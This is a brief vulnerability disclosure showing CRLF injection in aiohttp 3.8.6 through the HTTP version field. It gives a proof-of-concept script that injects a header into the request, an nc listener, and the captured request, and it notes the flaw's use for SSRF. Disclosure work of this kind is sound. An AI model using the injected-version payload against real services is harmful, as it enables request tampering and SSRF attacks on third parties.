aiohttp CRLF injection via Version

aiohttp_client_example.py

import aiohttp
import asyncio

async def main():

    async with aiohttp.ClientSession(version=("1.1", "\r\nPwnedBy: jnovikov"), headers={'connection': 'Close'}) as session:
        async with session.get('http://localhost:5000') as response:
            print(response.status)
            print(await response.text())

asyncio.run(main())

server output

nc -l 5000

GET / HTTP/1.1.
PwnedBy: jnovikov
Host: localhost:5000
Connection: Close
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Python/3.11 aiohttp/3.8.6

Current aiohttp version (3.8.6) is vulnerable to CRLF injection if attacker can control the HTTP version specified for the request.

If the attacker can specify custom array (from JSON for example), validation won't be triggered and attacker would be able to change the request (headers).

This can help with the exploitation of various SSRF vulnerabilites.